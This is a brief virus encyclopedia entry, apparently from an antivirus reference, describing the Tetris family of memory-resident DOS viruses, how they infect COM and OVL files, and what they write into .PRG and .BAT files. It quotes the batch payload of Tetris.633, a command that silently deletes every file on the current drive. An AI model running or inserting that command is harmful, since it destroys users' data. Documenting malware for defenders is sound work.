tetris famil
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Tetris family
These are very dangerous memory resident parasitic viruses. They hook INT 21h and write themselves to the end of COM and OVL files that are loaded into the memory.
When a .PRG file is opened, the "Tetris.552" virus overwrites it with the string:
?'PLAY TETRIS,HI-HI-HI
When any .BAT file is opened, "Tetris.633" overwrites it with command that erases all data on current drive:
@echo XII-ET 585668 Bath Killer all.
echo y|del *.*>nul
This virus also contains the text:
XII-ET 578740 Novosibirsk 91
Copyright @2006 tetris famil